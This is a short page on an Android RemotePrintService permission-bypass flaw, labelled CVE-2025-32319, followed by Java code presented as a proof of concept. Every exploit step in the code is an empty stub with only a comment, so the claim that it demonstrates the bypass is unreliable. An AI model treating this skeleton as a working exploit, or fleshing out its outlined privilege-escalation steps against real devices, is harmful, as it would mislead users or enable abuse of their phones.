CVE-2025-32319: Android RemotePrintService权限绕过导致本地权限提升

// CVE-2025-32319 PoC - Android RemotePrintService Permission Bypass // This PoC demonstrates the permission bypass in ensureBound method package com.vulnerability.poc; import android.app.Service; import android.content.Intent; import android.os.IBinder; import android.os.RemoteException; public class RemotePrintServiceExploit extends Service { private static final String TAG = "CVE-2025-32319"; private boolean isForeground = false; @Override public IBinder onBind(Intent intent) { // Vulnerability: ensureBound method allows background apps to retain foreground permissions // Attack vector: Exploit the permission check bypass in RemotePrintService return null; } @Override public int onStartCommand(Intent intent, int flags, int startId) { try { // Step 1: Trigger the vulnerable ensureBound method triggerEnsureBoundBypass(); // Step 2: Bypass foreground permission check bypassForegroundPermissionCheck(); // Step 3: Maintain elevated privileges in background maintainForegroundState(); // Step 4: Execute privileged operations executePrivilegedOperations(); } catch (Exception e) { e.printStackTrace(); } return START_STICKY; } private void triggerEnsureBoundBypass() throws RemoteException { // The ensureBound method fails to properly check app state // allowing permission escalation } private void bypassForegroundPermissionCheck() { // Exploit the permission bypass to retain foreground status } private void maintainForegroundState() { // Maintain elevated permissions after app goes to background } private void executePrivilegedOperations() { // Execute operations with elevated (foreground) permissions } }